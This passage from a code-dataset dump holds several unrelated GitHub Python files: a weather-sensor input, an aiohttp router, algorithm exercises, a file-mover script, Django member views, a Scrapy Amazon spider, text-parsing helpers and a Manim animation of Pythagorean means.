x:\n self.logger.error(\"No response. Check your configuration.\")\n return\n temperature = x[\"hourly\"][self.weather_time_dict[\"amount\"] - 1][\"temp\"]\n pressure = x[\"hourly\"][self.weather_time_dict[\"amount\"] - 1][\"pressure\"]\n humidity = x[\"hourly\"][self.weather_time_dict[\"amount\"] - 1][\"humidity\"]\n wind_speed = x[\"hourly\"][self.weather_time_dict[\"amount\"] - 1][\"wind_speed\"]\n wind_deg = x[\"hourly\"][self.weather_time_dict[\"amount\"] - 1][\"wind_deg\"]\n if self.is_enabled(8):\n self.value_set(8, self.weather_time_dict[\"amount\"])\n elif self.weather_time_dict[\"time\"] == \"day\":\n if 'daily' not in x:\n self.logger.error(\"No response. Check your configuration.\")\n return\n temperature = x[\"daily\"][self.weather_time_dict[\"amount\"]][\"temp\"][\"day\"]\n temperature_min = x[\"daily\"][self.weather_time_dict[\"amount\"]][\"temp\"][\"min\"]\n temperature_max = x[\"daily\"][self.weather_time_dict[\"amount\"]][\"temp\"][\"max\"]\n pressure = x[\"daily\"][self.weather_time_dict[\"amount\"]][\"pressure\"]\n humidity = x[\"daily\"][self.weather_time_dict[\"amount\"]][\"humidity\"]\n wind_speed = x[\"daily\"][self.weather_time_dict[\"amount\"]][\"wind_speed\"]\n wind_deg = x[\"daily\"][self.weather_time_dict[\"amount\"]][\"wind_deg\"]\n\n if self.is_enabled(1):\n self.value_set(1, temperature_min)\n if self.is_enabled(2):\n self.value_set(2, temperature_max)\n if self.is_enabled(8):\n self.value_set(8, self.weather_time_dict[\"amount\"] * 24)\n else:\n self.logger.error(\"Invalid weather time\")\n return\n except Exception as e:\n self.logger.error(\"Error acquiring weather information: {}\".format(e))\n return\n\n self.logger.debug(\"Temp: {}, Hum: {}, Press: {}, Wind Speed: {}, Wind Direction: {}\".format(\n temperature, humidity, pressure, wind_speed, wind_deg))\n\n if self.is_enabled(0):\n self.value_set(0, temperature)\n if self.is_enabled(3):\n self.value_set(3, humidity)\n if self.is_enabled(4):\n self.value_set(4, pressure)\n\n if self.is_enabled(0) and self.is_enabled(3) and self.is_enabled(5):\n self.value_set(5, calculate_dewpoint(temperature, humidity))\n\n if self.is_enabled(6):\n self.value_set(6, wind_speed)\n if self.is_enabled(7):\n self.value_set(7, wind_deg)\n\n return self.return_dict\n","repo_name":"kizniche/Mycodo","sub_path":"mycodo/inputs/weather_openweathermap_onecall.py","file_name":"weather_openweathermap_onecall.py","file_ext":"py","file_size_in_byte":11366,"program_lang":"python","lang":"en","doc_type":"code","stars":2708,"dataset":"github-code","pt":"61"} +{"seq_id":"15288054376","text":"'''\nAuthor: your name\nDate: 2020-12-14 21:29:39\nLastEditTime: 2021-01-13 21:36:24\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\leetcodei:\\python-workspace\\awsome-python-web\\www\\coroweb.py\nweb方法解析\nweb方法参数处理\n'''\nimport functools\nimport inspect\nimport os\nimport logging\nimport asyncio\n\nfrom urllib import parse\nfrom aiohttp import web\n\nfrom api_error import APIError\n\n\n# def get(path):\n# '''\n# get 方法的装饰器\n# '''\n# def decorator(func):\n# @functools.wraps(func)\n# async def wrraper(*args, **kw):\n# if not asyncio.iscoroutinefunction(func) and not inspect.isgeneratorfunction(func):\n# return func(*args, **kw)\n# else:\n# return await func(*args, **kw)\n# wrraper.__method__ = \"GET\"\n# wrraper.__route__ = path\n\n# return wrraper\n# return decorator\n\n\ndef get(path):\n '''\n get 方法的装饰器\n '''\n def decorator(func):\n if not asyncio.iscoroutinefunction(func) and not inspect.isgeneratorfunction(func):\n @functools.wraps(func)\n def wrraper(*args, **kw):\n return func(*args, **kw)\n else:\n @functools.wraps(func)\n async def wrraper(*args, **kw):\n return await func(*args, **kw)\n\n wrraper.__method__ = \"GET\"\n wrraper.__route__ = path\n\n return wrraper\n return decorator\n\n\ndef post(path):\n '''\n post 方法的装饰器\n '''\n def decorator(func):\n @functools.wraps(func)\n def wrraper(*args, **kw):\n return func(*args, **kw)\n wrraper.__method__ = \"POST\"\n wrraper.__route__ = path\n return wrraper\n return decorator\n\n\ndef get_required_kw_args(fn):\n '''\n 取得fn里面的出现在*或者*args之后的不为空关键字参数\n 返回元组\n '''\n args = []\n params = inspect.signature(fn).parameters # 函数签名字典\n for name, param in params.items():\n if param.kind == inspect.Parameter.KEYWORD_ONLY and param.default == inspect.Parameter.empty:\n # 找出关键字参数且关键字参数没有默认值\n args.append(name)\n return tuple(args)\n\n\ndef get_named_kw_args(fn):\n '''\n 取得fn里面的出现在*或者*args之后的关键字参数\n 返回元组\n '''\n args = []\n params = inspect.signature(fn).parameters # 函数签名字典\n for name, param in params.items():\n if param.kind == inspect.Parameter.KEYWORD_ONLY:\n # 找出关键字参数且关键字参数没有默认值\n args.append(name)\n return tuple(args)\n\n\ndef has_named_kw_args(fn):\n '''\n 判断fn里面是否存在出现在*或者*args之后的关键字参数\n 返回bool\n '''\n params = inspect.signature(fn).parameters # 函数签名字典\n for name, param in params.items():\n if param.kind == inspect.Parameter.KEYWORD_ONLY:\n return True\n\n\ndef has_var_kw_args(fn):\n '''\n 判断fn里面是否存在kw字典参数\n 返回bool\n '''\n params = inspect.signature(fn).parameters # 函数签名字典\n for name, param in params.items():\n if param.kind == inspect.Parameter.VAR_KEYWORD:\n return True\n\n\ndef has_request_arg(fn):\n # 判断是否存在request属性参数\n params = inspect.signature(fn).parameters # 函数签名字典\n founded = False\n for name, param in params.items():\n if name == 'request':\n founded = True\n continue\n if founded and (param.kind != inspect.Parameter.VAR_POSITIONAL and param.kind != inspect.Parameter.KEYWORD_ONLY and param.kind != inspect.Parameter.VAR_KEYWORD):\n # request既不是位置参数也不是可变参数也不是关键字参数则报错\n raise ValueError('request parameter must be the last named parameter in function: %s%s' % (\n fn.__name__, str(inspect.signature(fn))))\n\n return founded\n\n\nclass RequestHandler(object):\n def __init__(self, app, fn):\n # print(\"处理函数\", fn.__name__)\n self._app = app\n self._func = fn\n self._has_request_arg = has_request_arg(fn)\n self._has_named_kw_args = has_named_kw_args(fn)\n self._has_var_kw_args = has_var_kw_args(fn)\n self._named_kw_args = get_named_kw_args(fn)\n self._required_kw_args = get_required_kw_args(fn)\n\n async def __call__(self, request):\n kw = None\n if self._has_var_kw_args or self._has_named_kw_args or self._required_kw_args:\n if request.method == 'POST':\n if not request.content_type:\n return web.HTTPBadRequest('Missing Content-Type')\n ct = request.content_type.lower()\n if ct.startswith('application/json'):\n params = await request.json()\n if not isinstance(params, dict):\n return web.HTTPBadRequest(\"Json must be an object\")\n kw = params\n elif ct.startswith('application/x-www-form-urlencoded') or ct.startswith('multipart/form-data'):\n params = await request.post()\n kw = dict(**params)\n else:\n return web.HTTPBadRequest(\"Unsupported content-type:%s\" % request.content_type)\n elif request.method == 'GET':\n qs = request.query_string\n if qs:\n kw = dict()\n for k, v in parse.parse_qs(qs, True).items():\n kw[k] = v[0]\n if kw is None:\n kw = dict(**request.match_info)\n else:\n if not self._has_var_kw_args and self._named_kw_args:\n # remove all unamed kw:\n copy = dict()\n for name in self._named_kw_args:\n if name in kw:\n copy[name] = kw[name]\n kw = copy\n\n # check named arg:\n for k, v in request.match_info.items():\n if k in kw:\n logging.warning(\n 'Duplicate arg name in named arg and kw args: %s' % k)\n kw[k] = v\n\n if self._has_request_arg:\n kw['request'] = request\n\n # check required kw:\n if self._required_kw_args:\n for name in self._required_kw_args:\n if not name in kw:\n return web.HTTPBadRequest('Missing argument: %s' % name)\n\n logging.info('call with args: %s' % str(kw))\n try:\n r = await self._func(**kw)\n return r\n except APIError as e:\n return dict(error=e.error, data=e.data, message=e.message)\n\n\ndef add_static(app):\n \"\"\"\n 指定应用的静态文件夹\n \"\"\"\n path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'static')\n app.router.add_static('/static/', path)\n logging.info('add static %s => %s' % ('/static/', path))\n\n\ndef add_route(app, fn):\n '''\n 为应用增加单个路由\n '''\n # fn指向的路由处理方法\n method = getattr(fn, '__method__', None)\n # fn指向的路由路径\n route = getattr(fn, '__route__', None)\n\n if not method or not route:\n raise ValueError('@get or @post not defined in %s.' % str(fn))\n\n # print(\"%s是async函数吗?\" % fn.__name__,\n # \"是\" if inspect.iscoroutinefunction(fn) else \"否\")\n # if not asyncio.iscoroutinefunction(fn):\n # fn = asyncio.coroutine(method)\n if not asyncio.iscoroutinefunction(fn) and not inspect.isgeneratorfunction(fn):\n #判断是否是async修饰的异步方法,不是的话转为异步\n fn = asyncio.coroutine(fn)\n\n # if not inspect.iscoroutinefunction(fn):\n # raise ValueError('Function must be decorated by \"async\"')\n\n logging.info('add route %s %s => %s(%s)' % (\n method, route, fn.__name__, ', '.join(inspect.signature(fn).parameters.keys())))\n app.router.add_route(method, route, RequestHandler(app, fn))\n\n\ndef add_routes(app, module_name):\n '''\n 为应用增加多个路由\n '''\n n = module_name.rfind('.')\n if n == (-1):\n mod = __import__(module_name, globals(), locals())\n else:\n name = module_name[n+1:]\n mod = getattr(__import__(\n module_name[:n], globals(), locals(), [name]), name)\n for attr in dir(mod):\n if attr.startswith(\"_\"):\n continue\n fn = getattr(mod, attr)\n if callable(fn):\n method = getattr(fn, '__method__', None)\n route = getattr(fn, '__route__', None)\n if method and route:\n add_route(app, fn)\n","repo_name":"Hardlygo/awsome-python-web","sub_path":"www/coroweb.py","file_name":"coroweb.py","file_ext":"py","file_size_in_byte":8738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14456578136","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 13 23:49:39 2019\n\n@author: nithish k\n\"\"\"\n\n##insertion sort\n\ndef insertionSort(ListOfNum):\n \n totalNums = len(ListOfNum)\n \n for i in range(1, totalNums):\n \n numberToCheck = ListOfNum[i]\n \n j = i-1\n \n while(j>=0 and ListOfNum[j]>numberToCheck):\n ListOfNum[j+1] = ListOfNum[j]\n j = j - 1\n \n ListOfNum[j+1] = numberToCheck\n \n return True\n\n\nmyList = [31,41,59,26,41,58]\ninsertionSort(myList)\n \n\n\n\n###problem 2\n\ndef unknown(ListOfNum):\n totalNums = len(ListOfNum)\n for i in range(totalNums-1):\n if ListOfNum[totalNums-1] < ListOfNum[i]:\n temp = ListOfNum[i]\n ListOfNum[i] = ListOfNum[totalNums-1]\n ListOfNum[totalNums-1] = temp\n \n \n return ListOfNum[totalNums-1]\n\n\nunknown(myList)\n \n\"\"\"\n##problem 3\n\"\"\"\n\n\n\n\n\ninputListOfLists = [[1,3,5,7,9,11],[2,4,6,8,9,11],[4,5,6,7,9,11]]\nk = 3\nlistOfCurrentIndices = [0 for i in range(k)]\n\nfor i in range(len(inputListOfLists[0])+10): ##running N\n tempMax = -float(\"Inf\")\n for position,eachIndex in enumerate(listOfCurrentIndices):\n if eachIndex >= len(inputListOfLists[0]):\n break\n \n else:\n ### get maximum positions\n \n if inputListOfLists[position][eachIndex] > tempMax :\n tempMax = inputListOfLists[position][eachIndex]\n sameNumCount = 0 \n for position,eachIndex in enumerate(listOfCurrentIndices): \n ## increasse the indicies here \n \n if inputListOfLists[position][eachIndex] != tempMax:\n listOfCurrentIndices[position] +=1\n if inputListOfLists[position][eachIndex] == tempMax:\n sameNumCount += 1\n if sameNumCount == k:\n print(tempMax)\n\n\n\n\"\"\"\nproblem 3 O(2*k*N-1)\n\"\"\"\ndef findCommonElements(inputListOfLists):\n# inputListOfLists = [[1,3,5,7,9,11],[2,4,6,8,9,11],[4,5,6,7,9,11]]\n# k = 3\n# N = len(inputListOfLists[0])\n oldIntersectionList = inputListOfLists[0]\n \n for nextList in inputListOfLists[1:] :\n newIntersectionList = []\n indexIntersection = 0\n indexNextList = 0\n LenI = len(oldIntersectionList)\n LenJ = len(nextList)\n while(indexIntersection < LenI and indexNextList < LenJ):\n if oldIntersectionList[indexIntersection] == nextList[indexNextList]:\n newIntersectionList.append(oldIntersectionList[indexIntersection])\n indexIntersection += 1\n indexNextList += 1\n \n \n elif oldIntersectionList[indexIntersection] > nextList[indexNextList]:\n indexNextList += 1\n \n elif oldIntersectionList[indexIntersection] < nextList[indexNextList]:\n indexIntersection +=1\n oldIntersectionList = list(newIntersectionList)\n \n return oldIntersectionList\n\n \n\n\n\n\n\n\n\"\"\"\n\n##probelm 4\n\n\n\"\"\" \n\ndef find2MissingNums(inpList):\n ##trails\n numMissing = 2\n inpList.extend([-1 for i in range(numMissing)]) ##denoting empty spaces by -1\n emptyUsedCount = 0\n \n for position,value in enumerate(inpList):\n if inpList[value] != value and value != -1:\n temp1 = inpList[value]\n \n inpList[value] = value\n if emptyUsedCount <= numMissing:\n if inpList[-2] == -1: ##first slot is empty\n inpList[-2] = temp1\n emptyUsedCount += 1\n inpList[position] = -1\n \n elif inpList[-1] == -1 : ##second slot is empty \n inpList[-1] = temp1\n emptyUsedCount += 1\n inpList[position] = -1\n else:\n inpList[position] = temp1\n \n ##print all the missing numbers \n for i,value in enumerate(inpList):\n if value == -1: ##missing\n print(i) \n\n\n\nmyList = [2,3,0,4,5]\nfind2MissingNums(myList)\n\n\"\"\"\nProblem 4\n\"\"\"\ndef find2MissingNums(inpList):\n ##trails\n numMissing = 2\n inpList.extend([-1 for i in range(numMissing)]) ##denoting empty spaces by -1\n \n \n for position,value in enumerate(inpList):\n while position != value and value != -1:\n temp1 = inpList[value]\n \n inpList[value] = value\n inpList[position] = temp1\n value = inpList[position] #updated value\n ##print all the missing numbers \n for i,value in enumerate(inpList):\n if value == -1: ##missing\n print(i) \n\n\n\nmyList = [0,1,2,3,4]\nfind2MissingNums(myList)\n\n##Question 6\n\n\n\ndef getKthLargestElem(k,listM,listN):\n ##kth largest cannot exist beyond listM's first k elems and listN's first k elems\n if len(listM) == 0:\n return listN[k]\n elif len(listN) == 0:\n return listM[k]\n \n \n \n newListM = list(listM)\n newListN = list(listN)\n midElemIndexM = int(len(newListM)/2)\n midElemIndexN = int(len(newListN)/2)\n \n \n if k > midElemIndexM + midElemIndexN:\n \n if newListM[midElemIndexM] < newListN[midElemIndexN]: \n \n return getKthLargestElem(k-midElemIndexM-1,newListM[midElemIndexM+1:],newListN)\n \n elif newListM[midElemIndexM] > newListN[midElemIndexN]:\n \n return getKthLargestElem(k-midElemIndexN-1,newListM,newListN[midElemIndexN+1:])\n \n \n elif k <= midElemIndexM+ midElemIndexN :\n if newListM[midElemIndexM] < newListN[midElemIndexN]:\n \n return getKthLargestElem(k,newListM,newListN[:midElemIndexN])\n \n elif newListM[midElemIndexM] > newListN[midElemIndexN]:\n return getKthLargestElem(k,newListM[:midElemIndexM],newListN)\n \n\n \n \ngetKthLargestElem(3,[1,2,3,4,5],[3,4,5,6,7])\n\n\ndef kthlargest(arr1, arr2, k):\n \n if len(arr1) == 0:\n return arr2[k]\n elif len(arr2) == 0:\n return arr1[k]\n \n arr1 = arr1[:k]\n arr2 = arr2[:k]\n \n mida1 = int(len(arr1)/2)\n mida2 = int(len(arr2)/2)\n if mida1+mida2<k:\n if arr1[mida1]>arr2[mida2]:\n return kthlargest(arr1, arr2[mida2+1:], k-mida2-1)\n else:\n return kthlargest(arr1[mida1+1:], arr2, k-mida1-1)\n else:\n if arr1[mida1]>arr2[mida2]:\n return kthlargest(arr1[:mida1], arr2, k)\n else:\n return kthlargest(arr1, arr2[:mida2], k)\n\nkthlargest([1,2,3,4,5],[3,4,5,6,7],2)\n\n\nimport random\nrandom.randint(-1,2)\n[_ for i in range(2)]\n\n\nimport random\n\ndef permuteNumbers(listOfNums):\n lengthN = len(listOfNums)\n totalTransferredIndices = 0\n allIndexes = []\n emptyArray = ['EMPTY' for i in range(lengthN)]\n while totalTransferredIndices < lengthN :\n randomParentIndex = random.randint(0,lengthN-1)\n# print(randomParentIndex)\n if randomParentIndex not in allIndexes:\n allIndexes.append(randomParentIndex)\n randomEmptyIndex = random.randint(0,lengthN-1)\n if emptyArray[randomEmptyIndex] == 'EMPTY':\n emptyArray[randomEmptyIndex] = listOfNums[randomParentIndex]\n print(randomParentIndex,emptyArray)\n totalTransferredIndices+=1\n \n \n\npermuteNumbers([1,2,3,4])\n","repo_name":"srinithish/Applied-Algorithms","sub_path":"Assignments/Assignment_1.py","file_name":"Assignment_1.py","file_ext":"py","file_size_in_byte":7400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71811991234","text":"import os\r\nimport shutil\r\n\r\n\r\ninidir = 'c:/Users/Sec55/Downloads'\r\nfileList = os.listdir(inidir)\r\nfdir = 'c:/Users/Sec55/Desktop/C-111DOCS'\r\n\r\n\r\nfor files in fileList:\r\n # print(files)\r\n shutil.move(inidir + '/' + files, fdir)\r\n","repo_name":"CODING-WIZARD1172/C-111-RITESH-GUPTA-HOMEWORK","sub_path":"C-111 [ FILE MOVER ]/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14218666468","text":"from members.forms import MembersCreationForm\nfrom django.shortcuts import render, redirect\nfrom django.http import JsonResponse, HttpResponseRedirect\nfrom django.urls import reverse_lazy\nfrom django.views import generic\nfrom members.models import Members, Pairings, User_By_Group, Exclusions\nfrom create_group.models import myGroups\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.forms.models import model_to_dict\nfrom django.contrib.auth import authenticate, login as auth_login\nimport json\nimport re\n\nclass MembersView(generic.CreateView):\n form_class = MembersCreationForm\n success_url = reverse_lazy('create_group:dashboard')\n template_name = 'signup.html'\n\n def form_valid(self, form): \n valid = super().form_valid(form)\n username, password = form.cleaned_data.get('username'), form.cleaned_data.get('password1')\n user = authenticate(username=username, password=password)\n auth_login(self.request, user)\n return HttpResponseRedirect(\"/groups/dashboard\")\n\ndef profile(request):\n if request.user.is_authenticated:\n if request.user.id:\n result = Members.objects.get(id=request.user.id)\n resultDict = model_to_dict(result)\n for key, value in resultDict.items():\n if value is None:\n resultDict[key] = \"\"\n result = {\n 'username': resultDict['username'],\n 'phone': resultDict['phone'],\n 'firstname': resultDict['first_name'],\n 'lastname': resultDict['last_name'],\n 'email': resultDict['email'],\n 'address': resultDict['address'],\n 'city': resultDict['city'],\n 'state': resultDict['state'],\n 'zip': resultDict['zip_code']\n }\n return render(request, 'profile.html', {'result': result})\n else:\n return redirect('members:signup')\n\ndef partners(request):\n if request.user.is_authenticated:\n return render(request, 'partners.html')\n else:\n return redirect('members:signup')\n\ndef pairings(request, userId):\n pairingData = Pairings.objects.filter(member_1ID=userId)\n if len(pairingData)>0:\n userProfileDict = model_to_dict(pairingData[0].member_1ID)\n userProfileDict.pop('password', None)\n response = {'currentUser': userProfileDict, 'pairings':[]}\n for pairingRecord in pairingData:\n response['pairings'].append({'group': model_to_dict(pairingRecord.groupID), 'pairing': model_to_dict(pairingRecord.member_2ID)})\n return JsonResponse({'success': True, 'response': json.dumps(response, default=str)})\n return JsonResponse({'success': False})\n\ndef usersInSameGroup(user1ID, user2ID):\n usersGroups = User_By_Group.objects.filter(member_1ID=user1ID)\n requestedUsersGroups = User_By_Group.objects.filter(member_1ID=user2ID)\n sameGroups = []\n for a in usersGroups:\n for b in requestedUsersGroups:\n if a.group_ID == b.group_ID:\n sameGroups.append(a.group_ID)\n return sameGroups\n\n@csrf_exempt\ndef exclusions(request, userId):\n if request.user.is_authenticated:\n sameGroups = usersInSameGroup(request.user.id, userId)\n if len(sameGroups) > 0:\n if request.method == 'POST':\n return exclude(request, userId)\n requestedMemberObject = Members.objects.get(id=userId)\n requestedMember = model_to_dict(requestedMemberObject)\n groupMembers = []\n for group in sameGroups:\n requestedMembersExclusions = Exclusions.objects.filter(owner=requestedMemberObject, group=group)\n grp = {'id': group.id, 'name': group.group_name, 'members': []}\n ubg = User_By_Group.objects.filter(group_ID=group.id)\n for member in ubg:\n m = member.member_1ID\n excluded = False\n for ex in requestedMembersExclusions:\n if m == ex.excluded:\n excluded = True\n if not m.id == requestedMember['id']:\n grp['members'].append({\n 'id': m.id,\n 'firstName': m.first_name,\n 'lastName': m.last_name,\n 'username': m.username,\n 'excluded': excluded\n })\n groupMembers.append(grp)\n data = {'success': True, 'data': groupMembers, 'requested': requestedMember}\n else:\n data = {'success': False, 'message': 'Sorry, you are not in any groups with the requested member'}\n return render(request, 'exclusions.html', context=data)\n return render(request, 'members:signup')\n\ndef exclude(request, userId):\n body_unicode = request.body.decode('utf-8')\n body = json.loads(body_unicode)\n owner = Members.objects.get(id=userId)\n for groupObject in body:\n group = myGroups.objects.get(id=groupObject['id'])\n ownerExclusions = Exclusions.objects.filter(owner=owner, group=group)\n for exclusion in ownerExclusions:\n exclusion.delete()\n for excludedId in groupObject['exclusions']:\n excluded = Members.objects.get(id=excludedId)\n Exclusions(owner=owner, group=group, excluded=excluded).save()\n data = {'success': True}\n return JsonResponse(data)\n\ndef login(request):\n return render(request, 'login.html')\n\n@csrf_exempt\ndef update(request, userId):\n body_unicode = request.body.decode('utf-8')\n body = json.loads(body_unicode)\n for key in body.keys():\n if body[key] == '':\n body[key] = None\n try:\n Members.objects.filter(id=userId).update(\n email=body['email'], \n phone=body['phone'],\n username=body['username'],\n first_name=body['firstname'],\n last_name=body['lastname'],\n address=body['address'],\n city=body['city'],\n state=body['state'],\n zip_code=body['zip']\n )\n return JsonResponse({\"success\": True})\n except Exception as e:\n message = re.sub(r'members_members\\.','',str(e))\n return JsonResponse({\"success\": False, \"message\": message})\n \n","repo_name":"pabaier/classes-student","sub_path":"659/members/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41787150295","text":"# ~~coding=utf-8~~\nfrom __future__ import division, absolute_import, unicode_literals\n\nfrom scrapy.http import Request\nfrom .amazonmx import AmazonProductsSpider\n\n\nclass AmazonMXShelfPagesSpider(AmazonProductsSpider):\n name = 'amazonmx_shelf_urls_products'\n\n def __init__(self, *args, **kwargs):\n kwargs.pop('quantity', None)\n self.current_page = 1\n self.num_pages = int(kwargs.pop('num_pages', '1'))\n self.num_pages = min(10, self.num_pages)\n super(AmazonMXShelfPagesSpider, self).__init__(\n *args,\n **kwargs)\n\n def _setup_meta_compatibility(self):\n \"\"\" Needed to prepare first request.meta vars to use \"\"\"\n return {'remaining': self.quantity, 'search_term': ''}\n\n def start_requests(self):\n yield Request(\n url=self.product_url,\n meta=self._setup_meta_compatibility()\n )\n\n def _scrape_next_results_page_link(self, response):\n if self.current_page >= self.num_pages:\n return\n\n self.current_page += 1\n\n return super(AmazonMXShelfPagesSpider, self)._scrape_next_results_page_link(response)\n","repo_name":"aprosdev/ecom-predictor","sub_path":"product-ranking/product_ranking/spiders/amazonmx_shelf_pages.py","file_name":"amazonmx_shelf_pages.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"28412825373","text":"import Lab_2.Task_1.helpers.constants as constants\nimport re\n\n\ndef process_abbreviations(text: str) -> str:\n \"\"\"Remove all dots in abbreviations\"\"\"\n\n for abbr in constants.ABBREVIATIONS:\n text = text.replace(abbr, abbr.replace('.', ''))\n\n return text\n\n\ndef get_words(text: str) -> list[str]:\n \"\"\"Returns list of all words in the text\"\"\"\n\n text = process_abbreviations(text)\n\n text = re.sub(r\"[!?.,;:-]\", '', text)\n text = re.sub(r\"[!-/:-?@\\[-_{-˜]\", '', text)\n\n words = list()\n\n for word in text.split():\n try:\n float(word)\n except ValueError:\n words.append(word)\n\n return words\n\n\ndef count_words(text: str) -> int:\n \"\"\"Amount of words in text\"\"\"\n\n return len(get_words(text))\n\n\ndef count_characters(text: str) -> int:\n \"\"\"Counts amount of all characters in words only\"\"\"\n\n words = get_words(text)\n\n if len(words) == 0:\n return 0\n\n characters = 0\n\n for word in words:\n characters += len(word)\n\n return characters\n\n\ndef if_term_marks_only(text: str) -> bool:\n \"\"\" Checks if text contains only '?', '!', '.', ' ' \"\"\"\n\n matches = re.search(r'([ .?!])+', text)\n\n if matches is None:\n return False\n\n if text == matches.group(0):\n return True\n else:\n return False\n\n","repo_name":"TestyCore/Python_Labs","sub_path":"Lab_2/Task_1/helpers/parse_helpers.py","file_name":"parse_helpers.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70027458756","text":"from manimlib.imports import *\n\nclass PythagoreanMeans(Scene):\n CONFIG = {\n \"AB_PROPORTION\": 0.25,\n \"LINE_LENGTH\": 7,\n \"COMPASS_RUN_TIME\": 2,\n }\n def construct(self):\n self.get_lines()\n self.get_arithmetic_mean()\n self.draw_semicircular_arc()\n self.get_quadratic_mean()\n self.get_geometric_mean()\n self.animate_gm_formula()\n self.get_harmonic_mean()\n self.label_pythagorean_means()\n\n def get_lines(self):\n self.a = Line(ORIGIN, [self.LINE_LENGTH/(1.+self.AB_PROPORTION),0.,0.])\n self.b = Line(self.a.get_end(), [self.LINE_LENGTH,0.,0.])\n self.lines = VGroup(self.a, self.b)\n self.lines.move_to([0.,0.,0.])\n\n # Add braces and labels\n self.brace_a = Brace(self.a, DOWN, buff = SMALL_BUFF)\n self.brace_b = Brace(self.b, DOWN, buff = SMALL_BUFF)\n self.label_a = self.brace_a.get_tex('a')\n self.label_b = self.brace_b.get_tex('b')\n self.labels = VGroup(\n self.brace_a, self.brace_b,\n self.label_a, self.label_b\n )\n\n # Animate lines and labels\n self.play(ShowCreation(self.a))\n self.play(GrowFromCenter(self.brace_a), FadeIn(self.label_a))\n self.wait()\n self.play(ShowCreation(self.b), GrowFromCenter(self.brace_b),\n FadeIn(self.label_b)\n )\n self.wait()\n\n def get_arithmetic_mean(self):\n # Setup line and labels\n self.am_line = Line(\n self.a.get_start(), self.lines.get_center(),\n color = RED_A)\n self.brace_am = Brace(self.am_line, UP, buff = SMALL_BUFF)\n self.brace_am.set_color(RED_A)\n self.label_mean = self.brace_am.get_tex(r'\\frac{a+b}{2}')\n self.label_mean.set_color(RED_A)\n self.label_am = self.brace_am.get_text(r'AM')\n self.label_am.set_color(RED_A)\n label_copy = self.label_am.copy()\n self.arithmetic_mean = TextMobject(r'AM', r' = arithmetic mean')\n self.arithmetic_mean.set_color(RED_A)\n self.arithmetic_mean.to_edge(LEFT)\n self.arithmetic_mean.shift(1.25*DOWN + SMALL_BUFF*RIGHT)\n\n # Animate\n self.play(ShowCreation(self.am_line))\n self.play(GrowFromCenter(self.brace_am), Write(self.label_mean))\n self.wait()\n self.play(ReplacementTransform(self.label_mean, self.label_am))\n self.wait()\n self.play(ApplyMethod(label_copy.move_to, self.arithmetic_mean[0]))\n self.add(self.arithmetic_mean[0])\n self.remove(label_copy)\n self.play(Write(self.arithmetic_mean[1]))\n self.wait(2)\n self.play(FadeOut(self.label_am), FadeOut(self.brace_am))\n\n def draw_semicircular_arc(self):\n tip = Dot(color = YELLOW)\n tip.move_to(self.am_line.get_start())\n self.semicircle = Arc(\n radius = self.LINE_LENGTH/2, start_angle = 0, angle=TAU/2\n ).flip()\n\n def update_tip(tip):\n tip.move_to(self.semicircle.get_points()[-1])\n return tip\n\n def update_radius(radius):\n radius.put_start_and_end_on(\n self.semicircle.get_points()[-1], ORIGIN\n )\n return radius\n\n self.play(FadeIn(tip))\n self.play(\n ShowCreation(self.semicircle),\n UpdateFromFunc(tip, update_tip),\n UpdateFromFunc(self.am_line, update_radius),\n run_time = self.COMPASS_RUN_TIME\n )\n self.play(FadeOut(tip))\n self.add(self.semicircle)\n self.play(Rotating(self.am_line, radians = TAU/4,\n about_point = ORIGIN, run_time = 1, rate_func=smooth))\n self.wait()\n\n def get_quadratic_mean(self):\n # Setup lines, labels, and braces\n self.qm_line = Line(self.am_line.get_start(),\n self.b.get_start()\n ).set_color(YELLOW)\n diff_line = Line(self.am_line.get_end(),\n self.b.get_start()\n ).set_color(BLUE)\n brace_diff = Brace(diff_line, DOWN,\n buff = 4*SMALL_BUFF).set_color(BLUE)\n label_diff = brace_diff.get_tex(\n r'\\dfrac{a+b}{2}', '-b').set_color(BLUE)\n new_label_diff = brace_diff.get_tex(r'\\dfrac{a-b}{2}').set_color(BLUE)\n # Animate\n self.play(ShowCreation(self.qm_line))\n self.wait()\n self.play(FadeIn(diff_line))\n self.play(GrowFromCenter(brace_diff), Write(label_diff))\n self.wait(1.5)\n self.play(ReplacementTransform(label_diff, new_label_diff))\n self.wait(2)\n self.play(FadeOut(brace_diff), FadeOut(new_label_diff))\n self.add(self.semicircle)\n\n # Setup formula animation\n qm_slope = self.qm_line.get_slope()\n brace_qm = Brace(\n self.qm_line,\n (UP-RIGHT*qm_slope)/(1.+ qm_slope**2),\n buff = SMALL_BUFF\n ).set_color(YELLOW)\n label_qm = brace_qm.get_text('QM').set_color(YELLOW)\n label_qm.move_to(brace_qm.get_center() + (1+SMALL_BUFF)*RIGHT/2)\n label_copy = label_qm.copy()\n avg = r'\\dfrac{a+b}{2}'\n half_diff = r'\\dfrac{a-b}{2}'\n\n qm = TexMobject(r'\\text{QM}')\n qm.set_color(YELLOW)\n qm.move_to(3*DOWN+2*LEFT)\n\n rhs_1 = TexMobject(\n r'=\\sqrt{\\left(%s\\right)^2+\\left(%s\\right)^2}' % (avg, half_diff)\n )\n rhs_1.set_color(YELLOW)\n rhs_1.next_to(qm, RIGHT)\n rhs_1.shift(SMALL_BUFF*UP)\n\n rhs_intermediate = TexMobject(\n r'=\\sqrt{%s + %s}' % (\n r'\\dfrac{a^2 + b^2 + 2ab}{4}',\n r'\\dfrac{a^2 + b^2 - 2ab}{4}'\n )\n )\n rhs_intermediate.set_color(YELLOW)\n 